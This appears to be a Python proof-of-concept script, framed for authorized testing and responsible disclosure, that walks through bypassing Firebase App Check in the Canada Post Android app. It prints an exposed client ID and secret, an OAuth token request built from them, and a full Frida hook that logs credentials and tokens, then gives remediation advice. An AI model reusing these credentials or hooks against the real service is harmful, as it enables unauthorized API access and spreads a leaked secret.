#!/usr/bin/env python3
"""
POC: Firebase App Check Bypass Using Fallback Credentials
==========================================================

Demonstrates how exposed fallback credentials can be used to bypass
Firebase App Check security control.

EXPOSED CREDENTIALS (from Firebase Remote Config):
    APP_CHECK_FAILED_ID: cpc-appcheck-android
    APP_CHECK_FAILED_KEY: 1mhxwdN1Y5afLQgYeEgZ

ATTACK FLOW:
1. App Check validation fails (rooted device, modified APK, etc.)
2. App retrieves fallback credentials from Remote Config
3. App uses these to authenticate via OAuth endpoint
4. App receives JWT token that bypasses App Check
5. Attacker can replicate this to access protected APIs

ETHICAL USE ONLY - For authorized security testing
"""

import requests
import json
import base64
from datetime import datetime
import sys

# Fallback credentials exposed in Firebase Remote Config
APP_CHECK_FAILED_ID = "cpc-appcheck-android"
APP_CHECK_FAILED_KEY = "1mhxwdN1Y5afLQgYeEgZ"

# Canada Post OAuth/Authentication endpoints (discovered from decompiled code)
# These would typically be found in the app's network traffic or decompiled source
OAUTH_ENDPOINT = "https://oauth.canadapost.ca/token"  # Example - may vary
AUTH_ENDPOINT = "https://api.canadapost.ca/auth"      # Example - may vary

def print_banner():
    """Print POC banner"""
    print("=" * 80)
    print("🔓 POC: FIREBASE APP CHECK BYPASS VIA FALLBACK CREDENTIALS")
    print("=" * 80)
    print(f"Timestamp: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}")
    print(f"Target: Canada Post Mobile App")
    print(f"Vulnerability: CWE-798 (Hardcoded Credentials)")
    print("=" * 80)
    print()

def display_credentials():
    """Display the exposed credentials"""
    print("[STEP 1] Exposed Fallback Credentials")
    print("-" * 80)
    print()
    print("📋 Source: Firebase Remote Config (Publicly Accessible)")
    print(f"   URL: https://firebaseremoteconfig.googleapis.com/v1/projects/741680414261/...")
    print()
    print("🔑 Extracted Credentials:")
    print(f"   APP_CHECK_FAILED_ID: {APP_CHECK_FAILED_ID}")
    print(f"   APP_CHECK_FAILED_KEY: {APP_CHECK_FAILED_KEY}")
    print()
    print("📍 Found in decompiled code:")
    print("   File: cpc/f9/a.java (AppCheckInterceptor)")
    print("   Lines: 720-721, 758-759, 775-776, 788-789")
    print()
    print("   Code snippet:")
    print("   ```java")
    print("   c10 = this.f17954a.c(p9.a.APP_CHECK_FAILED_ID);")
    print("   String c11 = this.f17954a.c(p9.a.APP_CHECK_FAILED_KEY);")
    print("   // ... uses these for OAuth authentication")
    print("   ```")
    print()

def demonstrate_auth_flow():
    """Demonstrate how the app uses these credentials"""
    print("[STEP 2] Understanding the Authentication Flow")
    print("-" * 80)
    print()
    print("🔄 Normal Flow (App Check Working):")
    print("   1. App sends request to Firebase")
    print("   2. Firebase App Check validates device authenticity")
    print("   3. Returns App Check token")
    print("   4. Token used to access protected APIs")
    print()
    print("🚨 Fallback Flow (App Check Fails):")
    print("   1. App Check validation FAILS (rooted device, modified APK, etc.)")
    print("   2. App retrieves fallback credentials from Remote Config")
    print("   3. App calls OAuth endpoint with fallback credentials:")
    print(f"      - Client ID: {APP_CHECK_FAILED_ID}")
    print(f"      - Client Secret: {APP_CHECK_FAILED_KEY}")
    print("   4. OAuth returns JWT token")
    print("   5. JWT token grants API access (bypassing App Check!)")
    print()

def simulate_oauth_request():
    """Simulate what the OAuth request would look like"""
    print("[STEP 3] Simulated OAuth Authentication Request")
    print("-" * 80)
    print()
    print("⚠️  NOTE: This is a SIMULATION showing request structure.")
    print("   Real endpoint URL needs to be discovered via:")
    print("   - Network traffic analysis (Frida, mitmproxy)")
    print("   - Decompiled code analysis")
    print("   - API endpoint enumeration")
    print()
    
    # Simulate the request that would be made
    auth_payload = {
        "grant_type": "client_credentials",
        "client_id": APP_CHECK_FAILED_ID,
        "client_secret": APP_CHECK_FAILED_KEY,
        "scope": "api:access"
    }
    
    print("📤 Request Structure:")
    print(f"   Method: POST")
    print(f"   URL: [OAuth Endpoint - needs discovery]")
    print(f"   Headers:")
    print(f"      Content-Type: application/x-www-form-urlencoded")
    print(f"   Body:")
    print(json.dumps(auth_payload, indent=6))
    print()
    
    # Simulate expected response
    simulated_response = {
        "access_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...[JWT_TOKEN]",
        "token_type": "Bearer",
        "expires_in": 3600,
        "scope": "api:access"
    }
    
    print("📥 Expected Response:")
    print(json.dumps(simulated_response, indent=3))
    print()
    print("🎯 Result: JWT token that grants API access without App Check!")
    print()

def test_oauth_endpoint_discovery():
    """Attempt to discover the actual OAuth endpoint"""
    print("[STEP 4] OAuth Endpoint Discovery (Educational)")
    print("-" * 80)
    print()
    print("🔍 Methods to discover the real endpoint:")
    print()
    
    print("Method 1: Network Traffic Analysis")
    print("   - Use Frida to hook network calls")
    print("   - Intercept OkHttp/Retrofit requests")
    print("   - Log all HTTP/HTTPS traffic")
    print("   - Look for OAuth/token endpoints")
    print()
    
    print("Method 2: Decompiled Code Analysis")
    print("   - Search for 'oauth', 'token', 'auth' in .java files")
    print("   - Look for base URLs and API endpoints")
    print("   - Check Retrofit interface definitions")
    print("   - Example command:")
    print("      grep -r 'oauth\\|/token\\|/auth' cpc/ --include='*.java'")
    print()
    
    print("Method 3: String Analysis")
    print("   - Extract all URLs from the APK")
    print("   - Look for canadapost.ca domains")
    print("   - Check for api.*, oauth.*, auth.* subdomains")
    print()
    
    # Try to find endpoints from decompiled code
    print("🔎 Searching decompiled code for endpoints...")
    print("   (This would search cpc/ directory for OAuth URLs)")
    print()

def demonstrate_exploitation_scenario():
    """Show complete exploitation scenario"""
    print("[STEP 5] Complete Exploitation Scenario")
    print("-" * 80)
    print()
    print("🎭 Attacker's Perspective:")
    print()
    
    print("Phase 1: Reconnaissance")
    print("   ✅ Decompile Canada Post APK")
    print("   ✅ Extract Firebase Remote Config")
    print("   ✅ Discover fallback credentials:")
    print(f"      • ID: {APP_CHECK_FAILED_ID}")
    print(f"      • Key: {APP_CHECK_FAILED_KEY}")
    print()
    
    print("Phase 2: Endpoint Discovery")
    print("   • Analyze network traffic with Frida")
    print("   • Search decompiled code for OAuth URLs")
    print("   • Identify authentication endpoints")
    print()
    
    print("Phase 3: Exploitation")
    print("   1. Call OAuth endpoint with fallback credentials")
    print("   2. Receive JWT access token")
    print("   3. Use token to access protected APIs:")
    print("      - Tracking API")
    print("      - User profile API")
    print("      - Notification API")
    print("      - Any API that relies on App Check")
    print()
    
    print("Phase 4: Impact")
    print("   🔴 Bypass Firebase App Check security")
    print("   🔴 Access protected backend APIs")
    print("   🔴 Enumerate user data (if APIs allow)")
    print("   🔴 Abuse API functionality")
    print()

def show_frida_hook_example():
    """Show Frida script to intercept OAuth calls"""
    print("[STEP 6] Frida Hook to Capture Real OAuth Flow")
    print("-" * 80)
    print()
    print("📱 Use this Frida script to capture the actual authentication:")
    print()
    
    frida_script = '''// Frida script to intercept OAuth authentication
Java.perform(function() {
    console.log("[*] Hooking OAuth authentication...");
    
    // Hook OkHttp calls
    var OkHttpClient = Java.use("okhttp3.OkHttpClient");
    var Request = Java.use("okhttp3.Request");
    
    // Hook the AppCheckInterceptor class
    var AppCheckInterceptor = Java.use("f9.a");
    
    // Hook method that retrieves fallback credentials
    AppCheckInterceptor.b.implementation = function() {
        console.log("[+] Fallback credential retrieval called!");
        var result = this.b();
        console.log("[+] Fallback token: " + result);
        return result;
    };
    
    // Hook HTTP calls to capture OAuth requests
    var RealCall = Java.use("okhttp3.internal.connection.RealCall");
    RealCall.execute.implementation = function() {
        var request = this.request();
        var url = request.url().toString();
        
        if (url.indexOf("oauth") !== -1 || url.indexOf("token") !== -1 || url.indexOf("auth") !== -1) {
            console.log("\\n[!] OAuth Request Detected!");
            console.log("URL: " + url);
            console.log("Method: " + request.method());
            
            // Try to log request body
            try {
                var body = request.body();
                if (body != null) {
                    console.log("Body: [Request Body Present]");
                }
            } catch(e) {}
        }
        
        var response = this.execute();
        
        // Log response if OAuth-related
        if (url.indexOf("oauth") !== -1 || url.indexOf("token") !== -1) {
            console.log("[!] OAuth Response:");
            console.log("Status: " + response.code());
            try {
                var responseBody = response.body().string();
                console.log("Response: " + responseBody);
            } catch(e) {}
        }
        
        return response;
    };
    
    console.log("[*] Hooks installed! Waiting for OAuth calls...");
});'''
    
    print(frida_script)
    print()
    print("💾 Save as: capture_oauth.js")
    print("🚀 Run with: frida -U -f ca.canadapost.android -l capture_oauth.js")
    print()

def calculate_impact():
    """Calculate security impact"""
    print("[STEP 7] Security Impact Assessment")
    print("-" * 80)
    print()
    
    print("📊 CVSS 3.1 Score Calculation:")
    print()
    print("Attack Vector (AV): Network (N) = 0.85")
    print("   • Exploitable remotely via API calls")
    print()
    print("Attack Complexity (AC): Low (L) = 0.77")
    print("   • Credentials easily extracted from public Remote Config")
    print("   • No special conditions required")
    print()
    print("Privileges Required (PR): None (N) = 0.85")
    print("   • No authentication needed to get fallback credentials")
    print()
    print("User Interaction (UI): None (N) = 0.85")
    print("   • Fully automated exploitation")
    print()
    print("Scope (S): Unchanged (U)")
    print("   • Affects Canada Post app backend only")
    print()
    print("Confidentiality (C): Low (L) = 0.22")
    print("   • Can access API data if authorization allows")
    print()
    print("Integrity (I): Low (L) = 0.22")
    print("   • Could potentially modify data via APIs")
    print()
    print("Availability (A): None (N) = 0.0")
    print("   • No direct DoS capability")
    print()
    
    print("=" * 80)
    print("🎯 CVSS Score: 7.3 (HIGH)")
    print("   Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N")
    print("=" * 80)
    print()

def provide_remediation():
    """Provide remediation guidance"""
    print("[STEP 8] Remediation Recommendations")
    print("-" * 80)
    print()
    
    print("🔧 IMMEDIATE ACTIONS (24-48 hours):")
    print()
    print("1. Remove Fallback Credentials from Remote Config")
    print("   ❌ Current: Publicly accessible in Remote Config")
    print("   ✅ Fixed: Remove APP_CHECK_FAILED_ID and APP_CHECK_FAILED_KEY")
    print()
    
    print("2. Fail Secure, Not Fail Open")
    print("   ❌ Current: App falls back to credentials when App Check fails")
    print("   ✅ Fixed: Deny access when App Check fails")
    print()
    print("   Code change:")
    print("   ```java")
    print("   // BEFORE (Vulnerable)")
    print("   if (appCheckFailed) {")
    print("       String id = remoteConfig.get(APP_CHECK_FAILED_ID);")
    print("       String key = remoteConfig.get(APP_CHECK_FAILED_KEY);")
    print("       return authenticateWithFallback(id, key); // BAD!")
    print("   }")
    print()
    print("   // AFTER (Secure)")
    print("   if (appCheckFailed) {")
    print("       throw new SecurityException(\"App Check validation failed\");")
    print("   }")
    print("   ```")
    print()
    
    print("3. Server-Side App Check Validation")
    print("   ✅ Validate App Check tokens on the backend")
    print("   ✅ Never trust client-side validation alone")
    print("   ✅ Reject requests without valid App Check token")
    print()
    
    print("🏗️ LONG-TERM SOLUTIONS:")
    print()
    print("• Move all authentication server-side")
    print("• Implement proper secret management (Android Keystore)")
    print("• Add rate limiting and anomaly detection")
    print("• Regular security audits of mobile apps")
    print("• Security training for development team")
    print()

def main():
    """Main POC execution"""
    print_banner()
    
    print("⚠️  ETHICAL NOTICE")
    print("   This POC is for educational and authorized security testing only.")
    print("   Unauthorized access to computer systems is illegal.")
    print()
    
    input("Press ENTER to continue with demonstration (Ctrl+C to abort)...")
    print("\n")
    
    # Step 1: Show the exposed credentials
    display_credentials()
    
    input("Press ENTER to continue...")
    print("\n")
    
    # Step 2: Explain the auth flow
    demonstrate_auth_flow()
    
    input("Press ENTER to continue...")
    print("\n")
    
    # Step 3: Show OAuth request structure
    simulate_oauth_request()
    
    input("Press ENTER to continue...")
    print("\n")
    
    # Step 4: Endpoint discovery methods
    test_oauth_endpoint_discovery()
    
    input("Press ENTER to continue...")
    print("\n")
    
    # Step 5: Complete exploitation scenario
    demonstrate_exploitation_scenario()
    
    input("Press ENTER to continue...")
    print("\n")
    
    # Step 6: Frida hook example
    show_frida_hook_example()
    
    input("Press ENTER to continue...")
    print("\n")
    
    # Step 7: Impact assessment
    calculate_impact()
    
    input("Press ENTER to continue...")
    print("\n")
    
    # Step 8: Remediation
    provide_remediation()
    
    print()
    print("=" * 80)
    print("✅ POC DEMONSTRATION COMPLETE")
    print("=" * 80)
    print()
    print("📝 SUMMARY:")
    print("   • Fallback credentials are exposed in Firebase Remote Config")
    print("   • These credentials bypass Firebase App Check security")
    print("   • Attackers can use them to access protected APIs")
    print("   • Severity: HIGH (CVSS 7.3)")
    print("   • Requires immediate remediation")
    print()
    print("🎯 NEXT STEPS:")
    print("   1. Use Frida hook to capture real OAuth endpoint")
    print("   2. Test actual authentication with fallback credentials")
    print("   3. Document API access gained")
    print("   4. Prepare security disclosure")
    print("   5. Contact Canada Post security team")
    print()
    print("📧 DISCLOSURE:")
    print("   • Follow responsible disclosure timeline")
    print("   • Provide detailed remediation guidance")
    print("   • Offer to assist with verification")
    print()

if __name__ == "__main__":
    try:
        main()
    except KeyboardInterrupt:
        print("\n\n❌ POC demonstration interrupted by user")
        sys.exit(1)
    except Exception as e:
        print(f"\n\n❌ Error: {str(e)}")
        import traceback
        traceback.print_exc()
        sys.exit(1)
